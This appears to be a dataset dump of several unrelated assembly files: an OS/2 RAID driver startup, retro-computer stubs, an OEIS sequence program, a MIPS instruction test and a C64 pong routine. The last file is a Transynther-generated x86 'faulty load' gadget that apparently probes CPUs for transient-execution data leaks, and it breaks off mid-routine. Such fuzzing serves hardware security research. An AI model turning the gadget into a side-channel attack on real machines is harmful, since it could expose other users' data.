0x0A,0x00,0x01,0x00 .byte 0x01,0x00,0x00,0x00 .byte 0x36,0x00,0x00,0x00 loadCharsAndSfx s_tenko1start9 .byte 0x02,0x00,0x09,0x00 .word 0x08095F94 .byte 0x05,0x00,0x02,0x00 .byte 0x00,0x00,0x00,0x00 .byte 0x00,0x00,0x01,0x00
25.497268
30
0.781612
06fd2c1ad339b800a4be83297026cd64be880cfe
4,483
asm
Assembly
raid/startup.asm
OS2World/DRV-VRAID
7154196d3d06293259354572f72fd3b36f39924c
[ "BSD-3-Clause" ]
null
null
null
raid/startup.asm
OS2World/DRV-VRAID
7154196d3d06293259354572f72fd3b36f39924c
[ "BSD-3-Clause" ]
null
null
null
raid/startup.asm
OS2World/DRV-VRAID
7154196d3d06293259354572f72fd3b36f39924c
[ "BSD-3-Clause" ]
null
null
null
;* ;* $Source: R:/source/driver/raid/RCS\\startup.asm,v $ ;* $Revision: 1.8 $ ;* $Date: 2001/07/22 00:33:50 $ ;* $Locker: $ ;* ;* Assembler startup code. ;* ;* $Log: startup.asm,v $ ;* Revision 1.8 2001/07/22 00:33:50 vitus ;* - BUILDHOOK: calls UpdateBuilds() ;* ;* Revision 1.7 2001/06/25 00:25:11 vitus ;* - MEMORYHOOK: calls FreeFixed() with EAX ;* ;* Revision 1.6 2000/03/14 02:00:03 vitus ;* - _lock/_unlock: changed to use BX. Saves push,pop opcodes. ;* ;* Revision 1.5 2000/02/13 12:59:19 vitus ;* - _unlock: there was a window where it restored the wrong interrupt state ;* - _unlock: Warp Server SMB compatible ;* ;* Revision 1.4 1998/11/05 00:51:40 vitus ;* - szDriverName real ASCIIZ ;* ;* Revision 1.3 1998/06/26 23:04:20 vitus ;* - added _CallADD ;* ;* Revision 1.2 1998/02/17 23:41:51 vitus ;* - added AsmTimer() ;* - added _lock/_unlock ;* ;* Revision 1.1 1998/02/12 01:32:42 vitus ;* Initial revision ;* --------------------------------------------- ;* This code is Copyright Vitus Jensen 1997-2001 ;* .386p .SEQ PUBLIC _DiskDDHeader PUBLIC _szDriverName PUBLIC _AsmTimer PUBLIC MEMORYHOOK, BUILDHOOK PUBLIC _CallADD ; passes IORB to ADD PUBLIC __lock, __unlock INCLUDE devhdr.inc ; device header format INCLUDE segments.inc ; segment order ;; The very first segment has to contain the ;; device driver header. Use own segment for ;; this purpose (but in DGROUP). DDHeader SEGMENT _DiskDDHeader DD -1 DW DEV_CHAR_DEV OR DEV_30 OR DEVLEV_3 DW OFFSET AsmStrategy DW 0 DB "VUJRAID$" DW 0 DW 0 DW 0 DW 0 DD DEV_INITCOMPLETE OR DEV_ADAPTER_DD OR DEV_16MB OR DEV_IOCTL2 DW 0 _szDriverName DB "VUJRAID$",0 DDHeader ENDS ;; Start of code segments ;; There is really code contained: small stubs ;; to call C routines and save/restore registers. _TEXT SEGMENT ASSUME CS:CGROUP EXTRN _Strategy : NEAR ; C routines EXTRN _Timer : NEAR EXTRN _FreeFixed : NEAR EXTRN _UpdateBuilds : NEAR AsmStrategy PROC FAR push es push bx call _Strategy add sp, 4 retf AsmStrategy ENDP ;; Called every NTICKS to check all used commands for TIMEOUT_TICKS. ;; Save all register!! _AsmTimer PROC FAR pushf pusha push ds push es sti ; run with interrupts enabled mov ax, DGROUP mov ds, ax call _Timer pop es pop ds popa popf ret _AsmTimer ENDP ;*# ---------------------------------------------------------------------- ;* MEMORYHOOK ;* ;* PARAMETER ;* EAX parameter passed to ArmCtxHook ;* ;* RETURNS ;* (nothing, no register changed!) ;* ;* DESCRIPTION ;* Delayed execution if someone want to call FreeFixed() ;* from interrupt context where this is not possible. ;* ;* REMARKS ;* MEMORYHOOK PROC FAR db 66h pusha push eax call _FreeFixed add sp,4 db 66h popa ret MEMORYHOOK ENDP ;*# ---------------------------------------------------------------------- ;* BUILDHOOK ;* ;* PARAMETER ;* EAX parameter passed to ArmCtxHook ;* ;* RETURNS ;* (nothing, no register changed!) ;* ;* DESCRIPTION ;* Delayed execution if someone want to call UpdateBuilds() ;* ;* REMARKS ;* BUILDHOOK PROC FAR db 66h pusha push eax call _UpdateBuilds ; Parameter ignored add sp,4 db 66h popa ret BUILDHOOK ENDP _CallADD PROC NEAR enter 0,0 pusha push ds les bx,[bp+8] push es push bx call DWORD PTR [bp+4] add sp,4 pop ds popa leave ret _CallADD ENDP __lock PROC NEAR enter 0,0 les bx,[bp+4] ; pointer to lock handle (ULONG) pushf ; save flags (to be restored) ;; Try to set bit 0 of lock handle. Do that in a way ;; which inhibits interactions from all other processes ;; (whether they run on this or any other processor). lock_busy: cli ; this processor lock bts WORD PTR es:[bx],0 ; all processors jc lock_busy ; lock is busy, retry pop WORD PTR es:[bx+2] ; save old flags ; in highword of lock handle ;; - least significant bit in lock handle is set to indicate ;; locked handle ;; - interrupts are disabled (DO NOT ENABLE!!!) ;; - previous state of [interrupt] flag is saved in ;; the lock handle leave ret __lock ENDP __unlock PROC NEAR enter 0,0 les bx,[bp+4] ; lock handle mov ax,WORD PTR es:[bx+2] ; retrieve old flags lock btr WORD PTR es:[bx],0 ; clear lock bit ;jnc fatal ; fatal error: not locked!!!!! test ax,0200h ; were interrupts enabled? jz @@Z ; No -> keep disabled sti ; Yes -> enable @@Z: leave ret __unlock ENDP _TEXT ENDS END
17.580392
76
0.652688
70f135db7adc2d4362bcc95fc9a491151bee0957
298
asm
Assembly
libsrc/target/zx/zx_screenstr.asm
ahjelm/z88dk
c4de367f39a76b41f6390ceeab77737e148178fa
[ "ClArtistic" ]
640
2017-01-14T23:33:45.000Z
2022-03-30T11:28:42.000Z
libsrc/target/zx/zx_screenstr.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
1,600
2017-01-15T16:12:02.000Z
2022-03-31T12:11:12.000Z
libsrc/target/zx/zx_screenstr.asm
C-Chads/z88dk
a4141a8e51205c6414b4ae3263b633c4265778e6
[ "ClArtistic" ]
215
2017-01-17T10:43:03.000Z
2022-03-23T17:25:02.000Z
; uint zx_screenstr(uchar row, uchar col) ; CALLER linkage for function pointers SECTION code_clib PUBLIC zx_screenstr PUBLIC _zx_screenstr EXTERN asm_zx_screenstr .zx_screenstr ._zx_screenstr pop bc pop hl pop de push de push hl push bc ld h,e jp asm_zx_screenstr
12.956522
41
0.734899
c7c4559225d7d98ec458c063e86256f2c3ddbf9a
338
asm
Assembly
programs/oeis/245/A245354.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
22
2018-02-06T19:19:31.000Z
2022-01-17T21:53:31.000Z
programs/oeis/245/A245354.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
41
2021-02-22T19:00:34.000Z
2021-08-28T10:47:47.000Z
programs/oeis/245/A245354.asm
neoneye/loda
afe9559fb53ee12e3040da54bd6aa47283e0d9ec
[ "Apache-2.0" ]
5
2021-02-24T21:14:16.000Z
2021-08-09T19:48:05.000Z
; A245354: Sum of digits of n in fractional base 9/5. ; 0,1,2,3,4,5,6,7,8,5,6,7,8,9,10,11,12,13,6,7,8,9,10,11,12,13,14,11,12,13,14,15,16,17,18,19,8,9,10,11,12,13,14,15,16,13,14,15,16,17,18,19,20,21,14,15,16,17,18,19,20,21,22,19,20,21,22,23 lpb $0 add $1,530 lpb $0 dif $0,9 mul $0,5 lpe sub $0,1 lpe div $1,530 mov $0,$1
24.142857
185
0.600592
3ca77deb3ca7f93437d098cec402a59758a360cb
10,392
asm
Assembly
P6/data_P6_2/MDTest82.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
1
2022-01-23T09:24:47.000Z
2022-01-23T09:24:47.000Z
P6/data_P6_2/MDTest82.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
P6/data_P6_2/MDTest82.asm
alxzzhou/BUAA_CO_2020
b54bf367081a5a11701ebc3fc78a23494aecca9e
[ "Apache-2.0" ]
null
null
null
ori $ra,$ra,0xf mult $6,$2 lb $1,13($0) sll $4,$2,27 srav $4,$5,$3 mflo $1 lb $6,14($0) addu $1,$1,$4 mthi $6 div $2,$ra multu $4,$2 srav $2,$2,$2 sll $2,$2,3 lb $5,4($0) addiu $4,$2,20364 divu $2,$ra lb $5,12($0) sll $5,$5,30 sb $4,9($0) div $6,$ra mult $1,$1 divu $4,$ra divu $0,$ra sll $4,$1,25 lui $0,25968 mflo $4 mult $2,$6 multu $6,$6 mthi $2 lui $4,24856 ori $5,$3,54930 mfhi $0 lb $0,5($0) divu $1,$ra sb $5,9($0) srav $5,$2,$1 addiu $4,$0,-2627 divu $3,$ra srav $6,$1,$6 lui $5,7675 addiu $5,$3,-32523 sll $3,$3,22 lb $3,2($0) ori $4,$2,24669 addu $0,$4,$4 addu $4,$4,$3 addu $1,$4,$4 ori $1,$4,49001 mtlo $4 mfhi $2 mtlo $5 addu $2,$5,$2 multu $4,$0 mult $6,$3 mflo $1 addu $6,$0,$2 addu $4,$1,$1 div $1,$ra lb $4,15($0) mflo $5 multu $1,$1 mflo $2 multu $0,$4 mflo $5 lui $2,62246 mthi $1 ori $1,$1,59747 addu $3,$5,$3 multu $1,$1 mfhi $4 addiu $3,$5,15884 mthi $0 mthi $3 mthi $6 divu $0,$ra ori $1,$1,25179 addu $3,$3,$3 mtlo $6 addu $4,$4,$4 multu $6,$2 addu $5,$1,$3 ori $4,$0,46047 sb $1,13($0) mult $5,$5 mult $4,$5 div $1,$ra srav $3,$3,$3 mtlo $4 mfhi $2 sll $5,$2,31 lb $4,6($0) mfhi $5 multu $4,$2 sb $1,9($0) multu $2,$2 addu $4,$0,$3 multu $2,$2 ori $4,$6,12630 mthi $3 ori $1,$4,55974 mtlo $6 mtlo $4 sb $5,5($0) div $0,$ra addu $6,$2,$1 addu $6,$6,$3 srav $4,$6,$6 mtlo $1 addiu $1,$6,-23512 mflo $4 div $5,$ra sll $4,$4,30 mtlo $4 mflo $0 mtlo $2 multu $4,$3 sb $4,3($0) mult $1,$4 addu $5,$5,$3 multu $0,$1 mtlo $1 ori $1,$1,1338 lui $2,2720 sll $0,$5,19 lui $4,61424 div $5,$ra mfhi $4 mtlo $2 sb $0,2($0) mthi $4 mflo $0 multu $4,$2 mthi $4 lb $6,0($0) divu $6,$ra sb $3,0($0) sll $6,$0,28 mthi $1 mflo $5 mult $2,$1 mfhi $1 sb $5,14($0) div $5,$ra mtlo $3 lui $5,39351 mfhi $5 mult $5,$1 sb $4,12($0) ori $0,$5,39936 mthi $5 mthi $3 srav $5,$0,$0 lui $5,8426 lui $2,25555 addu $5,$5,$5 lui $2,29043 sll $5,$5,21 mflo $0 sb $4,9($0) srav $4,$1,$1 mflo $4 divu $4,$ra mflo $4 sb $3,10($0) mfhi $3 multu $4,$4 mult $1,$2 mfhi $4 mtlo $4 mult $4,$5 mtlo $6 addu $4,$5,$3 mult $0,$4 srav $6,$5,$4 lb $4,4($0) mult $5,$4 srav $4,$1,$4 div $1,$ra lui $5,22423 mult $1,$2 divu $6,$ra sb $4,4($0) mtlo $0 divu $5,$ra srav $1,$1,$2 mfhi $0 mfhi $1 mfhi $0 mult $5,$0 mtlo $1 srav $5,$5,$3 mfhi $4 lui $1,13443 mfhi $1 multu $0,$5 sb $4,5($0) lui $4,54868 addiu $4,$4,-22696 divu $1,$ra lb $1,14($0) mflo $1 mfhi $2 lui $4,32162 divu $3,$ra divu $1,$ra addu $4,$4,$4 srav $1,$5,$1 addu $4,$4,$3 mflo $5 multu $5,$4 div $4,$ra lb $5,0($0) divu $1,$ra mflo $3 mtlo $1 mfhi $5 lui $4,62390 mflo $4 div $4,$ra addiu $6,$6,20125 addu $2,$1,$2 lui $4,5367 sll $6,$6,21 mflo $6 sb $6,13($0) mthi $4 srav $4,$2,$3 sb $1,15($0) sb $1,7($0) mthi $4 multu $6,$6 srav $3,$3,$3 srav $1,$1,$1 multu $4,$0 ori $5,$5,7132 mult $1,$6 sb $2,1($0) mtlo $1 div $4,$ra mfhi $4 sll $3,$3,10 lui $1,46386 mthi $2 ori $5,$4,4755 mfhi $4 multu $1,$2 addiu $5,$5,-12233 sll $4,$4,10 sb $4,9($0) div $1,$ra mult $4,$2 div $5,$ra mfhi $2 divu $4,$ra divu $3,$ra addiu $6,$5,13990 mult $6,$0 lui $1,9466 div $5,$ra divu $6,$ra mthi $4 divu $6,$ra addu $3,$5,$3 divu $4,$ra ori $1,$1,20305 sll $2,$2,29 addiu $3,$4,-30957 multu $6,$6 lui $6,23591 sb $6,5($0) mflo $3 mthi $1 div $4,$ra divu $1,$ra divu $5,$ra sb $3,9($0) multu $1,$5 lui $3,10214 addiu $4,$1,3584 multu $1,$2 divu $1,$ra mult $1,$1 srav $4,$2,$2 srav $1,$1,$1 ori $2,$2,5133 mflo $3 lb $6,10($0) sll $5,$1,31 lb $1,2($0) divu $2,$ra lui $1,24334 mult $4,$2 lb $1,10($0) addiu $3,$5,26188 addiu $5,$5,-10000 mtlo $6 addiu $4,$5,22704 mtlo $4 div $4,$ra addu $4,$4,$3 multu $1,$1 lb $1,2($0) ori $1,$1,45075 mflo $4 mthi $4 mflo $1 mflo $6 addiu $0,$0,11313 lui $5,37259 sb $1,0($0) div $5,$ra lui $3,8853 mult $6,$6 mflo $4 mtlo $4 sll $0,$4,15 mtlo $3 mfhi $0 mthi $6 divu $4,$ra multu $4,$5 mtlo $5 lui $4,61501 divu $1,$ra div $4,$ra mthi $0 divu $4,$ra lui $1,63744 lb $0,6($0) sll $4,$4,4 lb $5,14($0) addiu $6,$4,31975 sb $4,1($0) div $1,$ra lb $4,9($0) lb $1,7($0) srav $2,$5,$2 addu $4,$2,$3 multu $4,$4 lui $3,18850 lb $6,11($0) lb $3,14($0) mult $1,$5 mfhi $1 lui $1,18955 mflo $4 ori $0,$5,31066 mthi $0 div $2,$ra sb $1,8($0) multu $5,$4 lui $4,28279 mflo $2 multu $1,$1 divu $2,$ra sb $1,8($0) lui $2,52472 multu $2,$2 lui $6,21146 mflo $1 mult $4,$6 srav $4,$2,$4 srav $4,$6,$6 multu $1,$1 addu $3,$3,$3 ori $4,$4,2965 addu $1,$1,$1 multu $4,$6 multu $2,$2 mflo $3 lui $1,31060 divu $4,$ra mflo $1 lui $3,62285 mtlo $4 mult $4,$2 srav $1,$2,$1 mult $4,$0 mthi $5 mtlo $5 divu $0,$ra mthi $2 divu $6,$ra addu $3,$6,$3 mthi $0 sll $1,$4,18 ori $1,$2,54424 addu $2,$2,$2 lb $2,4($0) addiu $5,$5,-7283 sll $4,$1,11 mfhi $1 lb $6,15($0) addiu $2,$4,29889 mtlo $2 multu $4,$3 div $0,$ra multu $4,$2 sb $5,3($0) lb $1,13($0) multu $4,$2 divu $1,$ra sb $1,11($0) div $3,$ra addiu $4,$5,24866 srav $4,$6,$3 mflo $5 div $4,$ra mflo $5 mtlo $0 mflo $5 mult $3,$1 addu $3,$5,$3 multu $4,$0 mflo $0 addu $5,$5,$5 addu $4,$2,$5 mtlo $2 lb $2,10($0) lui $2,21257 addiu $6,$2,-5090 mfhi $4 ori $4,$4,10847 lb $2,12($0) mthi $4 srav $5,$2,$5 mfhi $4 div $1,$ra mfhi $2 lb $4,4($0) mult $4,$4 addiu $1,$1,-24419 mthi $2 div $6,$ra mthi $5 mtlo $1 mfhi $1 mfhi $5 srav $4,$1,$3 mfhi $1 lb $3,10($0) mtlo $4 mult $1,$2 addiu $1,$2,24273 addu $4,$6,$1 div $4,$ra ori $1,$5,2020 mthi $4 addu $3,$3,$3 mult $5,$4 mflo $4 mthi $6 addiu $4,$0,4440 div $1,$ra mtlo $5 mult $1,$1 mtlo $1 lui $2,51652 multu $4,$1 mult $1,$1 mtlo $2 srav $2,$2,$2 mult $6,$4 ori $5,$5,64151 divu $4,$ra div $6,$ra mtlo $3 mtlo $6 ori $5,$1,51844 mult $0,$2 div $4,$ra mthi $0 multu $4,$3 sll $0,$1,1 divu $1,$ra mfhi $5 divu $4,$ra mfhi $4 sll $4,$5,29 sll $5,$2,22 sll $0,$2,8 mult $5,$6 div $4,$ra lui $1,22835 ori $4,$1,29613 addiu $4,$4,14003 divu $1,$ra sll $4,$5,7 div $6,$ra lb $4,7($0) mfhi $4 addiu $1,$2,7677 ori $4,$5,17232 mthi $6 sll $1,$2,30 mtlo $5 srav $2,$2,$2 sll $0,$4,22 lui $4,48338 mthi $1 mtlo $4 addiu $3,$2,27414 mfhi $5 mult $6,$3 mtlo $0 mfhi $1 mthi $4 ori $4,$6,21373 addiu $4,$0,5747 mtlo $0 mfhi $5 multu $4,$4 div $5,$ra mthi $5 addiu $2,$2,-11166 div $2,$ra div $5,$ra lb $1,13($0) mtlo $5 sb $3,5($0) div $4,$ra mfhi $6 lb $6,10($0) ori $1,$2,64945 mtlo $4 divu $4,$ra mtlo $4 multu $5,$1 ori $5,$1,37149 addiu $4,$4,2261 lb $4,0($0) mfhi $4 mflo $2 mfhi $1 mult $6,$0 mtlo $0 mthi $5 mtlo $6 lui $5,18184 addiu $4,$2,-27745 mult $1,$1 addiu $4,$4,-24720 mtlo $1 mthi $4 sll $4,$2,14 mthi $4 mult $0,$2 div $4,$ra multu $6,$2 sll $4,$5,14 mfhi $1 mflo $1 ori $1,$4,4944 lb $5,11($0) sb $5,15($0) mfhi $4 ori $5,$5,3252 mtlo $4 mult $0,$2 sb $1,12($0) divu $1,$ra mtlo $3 addiu $0,$5,-28954 mfhi $5 lb $1,9($0) div $6,$ra mfhi $5 srav $4,$1,$5 sb $5,14($0) srav $1,$2,$1 mfhi $4 addu $4,$5,$5 lui $5,54795 lui $5,24869 addu $4,$2,$6 divu $5,$ra mult $5,$5 mult $1,$4 addiu $1,$2,446 lb $6,0($0) sll $1,$1,3 divu $1,$ra ori $6,$2,10372 lb $2,4($0) srav $5,$3,$3 sb $1,6($0) lb $1,12($0) div $6,$ra lb $0,9($0) div $0,$ra mfhi $2 mult $2,$2 divu $1,$ra mflo $1 sb $3,5($0) multu $4,$4 multu $2,$2 multu $4,$4 divu $3,$ra addu $5,$6,$6 sll $4,$4,12 ori $1,$2,6519 addiu $5,$2,-6142 mtlo $1 mflo $5 div $1,$ra addu $5,$5,$2 div $4,$ra srav $3,$5,$3 addiu $4,$2,-30575 addiu $4,$1,23725 mult $1,$1 srav $1,$2,$2 div $5,$ra addu $3,$1,$3 mtlo $4 mtlo $4 divu $0,$ra multu $4,$4 sll $2,$4,5 sll $5,$5,27 sll $4,$2,18 sll $4,$4,19 div $4,$ra sb $5,10($0) srav $6,$0,$3 srav $5,$5,$5 mtlo $1 multu $6,$1 mthi $6 divu $6,$ra div $3,$ra addu $6,$3,$3 mfhi $5 sb $2,7($0) addu $1,$1,$1 div $2,$ra mtlo $5 lui $4,24638 lb $6,15($0) mult $0,$0 srav $5,$5,$5 divu $0,$ra mult $6,$4 mthi $5 sll $2,$5,16 div $4,$ra sll $3,$5,19 lb $5,9($0) mult $4,$5 lui $6,1325 divu $3,$ra sb $6,15($0) ori $3,$3,27755 mtlo $1 mflo $5 sll $4,$4,17 mult $0,$4 mfhi $1 mfhi $5 multu $6,$5 mtlo $4 lb $4,9($0) mult $3,$1 mult $2,$2 mult $5,$3 mtlo $6 lb $5,6($0) divu $4,$ra div $4,$ra mflo $5 sll $0,$2,6 addu $1,$0,$0 mtlo $1 lui $2,5311 multu $2,$2 ori $4,$5,40043 sll $1,$1,18 lb $1,1($0) sll $1,$1,14 mthi $5 srav $4,$1,$3 ori $0,$1,44218 sb $5,15($0) multu $4,$4 mfhi $1 mthi $5 sll $1,$4,11 multu $4,$5 mfhi $4 addiu $5,$0,31645 lui $4,2960 lui $0,19654 ori $5,$5,51987 divu $1,$ra divu $0,$ra multu $2,$2 addiu $4,$5,-7422 mthi $4 addiu $1,$1,-17152 mthi $1 addiu $4,$1,24525 addu $2,$2,$2 multu $2,$2 mult $1,$5 multu $4,$2 multu $4,$0 mtlo $4 multu $4,$4 addu $3,$4,$3 multu $4,$3 sll $5,$0,24 ori $5,$2,13581 mtlo $4 div $4,$ra lb $1,10($0) mfhi $4 mtlo $2 lb $4,15($0) ori $6,$6,27428 lb $4,8($0) mflo $4 sb $4,11($0) addiu $5,$5,-23618 mfhi $4 mult $6,$1 mflo $0 multu $4,$4 div $4,$ra divu $5,$ra mflo $1 mfhi $4 sll $0,$1,11 lui $3,51607 divu $1,$ra addu $5,$6,$4 addiu $0,$0,-25671 lb $4,7($0) lui $2,20270 addu $5,$5,$5 sb $4,16($0) div $1,$ra mfhi $5 mtlo $5 addiu $5,$1,14992 mfhi $4 mult $3,$2 mult $2,$2 mthi $4 mflo $3 div $1,$ra mflo $0 mtlo $6 sll $5,$1,0 lui $4,64196 srav $4,$4,$4 div $4,$ra mflo $3 mfhi $2 addu $1,$3,$3 mflo $1 addu $6,$0,$3 sb $5,0($0) mthi $6 lb $1,10($0) addu $2,$2,$2 mthi $2 addiu $2,$6,-492 addu $5,$5,$4 mflo $0 divu $4,$ra div $5,$ra mfhi $5 lui $1,57001 lb $5,8($0) addiu $4,$5,10361 ori $5,$5,51261 div $4,$ra lb $3,3($0) mfhi $4 addu $5,$4,$5 sll $5,$1,16 mthi $2 multu $3,$3 ori $4,$4,3165 div $4,$ra mflo $4 mflo $0 div $4,$ra addu $5,$1,$5 mflo $4 multu $4,$4 lui $3,6633 lui $5,25360 mfhi $1 mult $4,$4 mfhi $1 mfhi $2 sll $1,$2,15 multu $1,$5 divu $6,$ra addiu $1,$1,-27537 mfhi $5 ori $5,$1,27533 addu $4,$4,$4 ori $6,$6,39133 mult $1,$5 lb $4,12($0) mflo $4 srav $0,$2,$0 divu $5,$ra ori $4,$4,39461 ori $5,$5,54731 mflo $5 div $1,$ra sb $5,7($0) sb $5,7($0) sll $1,$1,9 divu $1,$ra mflo $4 srav $1,$4,$1 multu $0,$0 multu $1,$4 sb $4,12($0) ori $5,$0,21460 addu $5,$4,$3 mtlo $4 mtlo $4 lb $4,2($0) sb $4,7($0) sll $5,$2,0 mthi $6 srav $1,$1,$1 mtlo $6 mflo $1 addiu $6,$2,-8207 mtlo $1 ori $3,$1,33200 mthi $2 addu $5,$5,$2 mflo $2 addu $0,$1,$0 ori $1,$3,3892 multu $1,$1 mthi $4 srav $5,$5,$5 lb $5,9($0) multu $4,$4 ori $5,$5,23479 addu $2,$2,$4 ori $2,$2,60665 divu $6,$ra mthi $3 mthi $0 addiu $1,$1,-8419 addiu $2,$2,-18226 lb $6,0($0) lb $5,12($0) mthi $4 sll $0,$0,9 addiu $4,$4,-10819 lui $4,57031 mflo $4 sll $1,$1,2 lui $0,39739 mflo $4 mtlo $4 sb $4,0($0) ori $1,$3,47703 mtlo $5 mtlo $2 sll $3,$4,26 sb $2,7($0) mflo $2 mult $5,$2 mtlo $4 mtlo $4 mult $0,$0 addiu $4,$0,-30509 mthi $6 addiu $6,$4,-3418 multu $5,$5 mtlo $4 addu $5,$5,$5 mflo $3 sll $4,$5,17 lui $5,58563 mult $5,$5 mfhi $1
11.676404
18
0.569092
f3e690af45334224efc299349eda3852869f1279
1,914
asm
Assembly
ball_direction_2.asm
DavidR86/c64-pong
a46784d5f8f81a762a199625d269cbefd5b528ab
[ "MIT" ]
null
null
null
ball_direction_2.asm
DavidR86/c64-pong
a46784d5f8f81a762a199625d269cbefd5b528ab
[ "MIT" ]
null
null
null
ball_direction_2.asm
DavidR86/c64-pong
a46784d5f8f81a762a199625d269cbefd5b528ab
[ "MIT" ]
null
null
null
#importonce var_up: .fill 1,0 .var dir_up = var_up var_right: .fill 1,0 .var dir_right = var_right set_directions: jsr check_right jsr check_left jsr check_border_right jsr check_border_left jsr check_border_up jsr check_border_down jsr clear_collisions rts check_border_up: //check if ball collided with upper border lda #%00000100 and collisions lsr lsr bne go_down //if so, set to move down rts go_down: //change var_up to false lda #0 sta var_up rts check_border_down: //chack if collsion with lower border lda #%00001000 and collisions lsr lsr lsr bne go_up //if so, set to move up rts go_up: //change var_up to true lda #1 sta var_up rts check_border_left: //check if left border collision lda #%00100000 and collisions lsr lsr lsr lsr lsr bne score_left //if so, change score rts score_left: //increase left score and reset ball inc $043c jsr reset_ball rts check_border_right: //check if right border collision lda #%00010000 and collisions lsr lsr lsr lsr bne score_right //if so, score_right rts score_right: //increase score by one and reset ball inc $043a jsr reset_ball rts check_right: //check for right paddle collision lda #%00000001 and collisions bne go_left //if so, set to move left rts go_left: //dir_right to false lda #0 sta dir_right rts check_left: //check for left paddle collision lda #%00000010 and collisions bne go_right rts go_right: //dir_right to true lda #1 sta dir_right rts reset_ball: //reset ball position lda #$af //reset ball x sta spr2_x lda #$90 //reset ball y sta spr2_y lda #%11111011 //and to turn off second bit of spr9th and spr9th sta spr9th //save to spr9th lda dir_right //invert direction on point scored and #%00000001 eor #%00000001 sta dir_right rts clear_collisions: //wipe collision data var lda #0 sta collision_data rts
13.291667
59
0.729885
ca6e758f4fbc25c8d07cfd77bbe8af8a75cb88b0
9,928
asm
Assembly
Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0xca_notsx.log_21829_1502.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
9
2020-08-13T19:41:58.000Z
2022-03-30T12:22:51.000Z
Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0xca_notsx.log_21829_1502.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
1
2021-04-29T06:29:35.000Z
2021-05-13T21:02:30.000Z
Transynther/x86/_processed/NC/_st_zr_4k_sm_/i3-7100_9_0xca_notsx.log_21829_1502.asm
ljhsiun2/medusa
67d769b8a2fb42c538f10287abaf0e6dbb463f0c
[ "MIT" ]
3
2020-07-14T17:07:07.000Z
2022-03-21T01:12:22.000Z
.global s_prepare_buffers s_prepare_buffers: push %r12 push %r13 push %r8 push %rax push %rbx push %rcx push %rdi push %rsi lea addresses_WT_ht+0x11f04, %rsi nop nop nop nop dec %rax mov (%rsi), %r12 nop nop nop nop nop mfence lea addresses_UC_ht+0x1a0c4, %rdi nop and $20393, %r13 mov $0x6162636465666768, %rbx movq %rbx, %xmm4 and $0xffffffffffffffc0, %rdi movntdq %xmm4, (%rdi) nop and %rsi, %rsi lea addresses_D_ht+0x15714, %r13 nop nop nop cmp %rax, %rax mov (%r13), %r12d nop nop and %r13, %r13 lea addresses_normal_ht+0xf954, %rbx cmp %rsi, %rsi vmovups (%rbx), %ymm5 vextracti128 $0, %ymm5, %xmm5 vpextrq $1, %xmm5, %r8 nop nop nop nop cmp $56522, %r8 lea addresses_WC_ht+0x19fce, %rdi and $17512, %rsi mov $0x6162636465666768, %r12 movq %r12, %xmm1 movups %xmm1, (%rdi) add $29084, %r13 lea addresses_WT_ht+0x15b74, %rsi nop nop and %r8, %r8 mov $0x6162636465666768, %rax movq %rax, (%rsi) nop sub %r12, %r12 lea addresses_D_ht+0xcb14, %r8 nop xor $37319, %rax mov $0x6162636465666768, %rbx movq %rbx, (%r8) nop nop nop sub $65136, %rax lea addresses_UC_ht+0x18344, %rsi lea addresses_UC_ht+0x127c4, %rdi nop nop nop nop nop cmp $59236, %rbx mov $34, %rcx rep movsw nop nop nop nop xor %r8, %r8 lea addresses_WC_ht+0x1edc4, %rdi nop nop nop sub $47280, %rcx movw $0x6162, (%rdi) inc %rdi lea addresses_normal_ht+0x10bc4, %rdi nop nop nop inc %rax movb (%rdi), %cl nop cmp $63398, %r8 lea addresses_A_ht+0x13bc4, %rcx nop nop nop nop nop and $30741, %rdi mov (%rcx), %esi nop nop nop xor $18688, %r8 lea addresses_A_ht+0x64a4, %rsi nop xor %rcx, %rcx mov (%rsi), %rbx inc %r12 lea addresses_UC_ht+0xc9e4, %r8 nop nop nop nop nop sub %rdi, %rdi mov $0x6162636465666768, %rcx movq %rcx, (%r8) nop nop nop nop add $26803, %rbx lea addresses_UC_ht+0xdce4, %r8 nop nop nop nop and %rdi, %rdi movb $0x61, (%r8) nop nop xor $39905, %rdi lea addresses_UC_ht+0x12c44, %rdi nop nop nop nop xor $39475, %r13 vmovups (%rdi), %ymm5 vextracti128 $1, %ymm5, %xmm5 vpextrq $1, %xmm5, %rsi nop nop nop add %rbx, %rbx pop %rsi pop %rdi pop %rcx pop %rbx pop %rax pop %r8 pop %r13 pop %r12 ret .global s_faulty_load s_faulty_load: push %r10 push %r12 push %r14 push %r8 push %rbp push %rbx push %rdx // Store lea addresses_WT+0xb3c4, %rbx inc %r12 movb $0x51, (%rbx) nop nop add $2057, %r8 // Store lea addresses_WC+0xe3c4, %r12 clflush (%r12) nop nop sub %rbp, %rbp mov $0x5152535455565758, %r14 movq %r14, (%r12) dec %r8 // Load lea addresses_WC+0x1efc4, %r10 clflush (%r10) nop nop dec %rdx movups (%r10), %xmm5 vpextrq $1, %xmm5, %r12 nop nop nop inc %rbp // Store lea addresses_WC+0x72c4, %rbp nop nop sub %rbx, %rbx movl $0x51525354, (%rbp) // Exception!!! nop nop mov (0), %rdx nop nop nop nop nop xor $30746, %r8 // Store lea addresses_A+0x1eba4, %rdx sub %r12, %r12 movb $0x51, (%rdx) nop sub %rbx, %rbx // Store mov $0x1373c70000000bc4, %rbp nop nop nop nop nop add $51760, %r12 mov $0x5152535455565758, %rdx movq %rdx, %xmm6 vmovups %ymm6, (%rbp) nop nop nop nop nop add $2432, %r14 // Store mov $0x33c, %r8 nop nop nop nop nop and %rbp, %rbp movl $0x51525354, (%r8) nop nop nop add $34701, %r8 // Store lea addresses_UC+0xf464, %rbx nop sub %r10, %r10 movb $0x51, (%rbx) nop nop nop nop nop and $21252, %r10 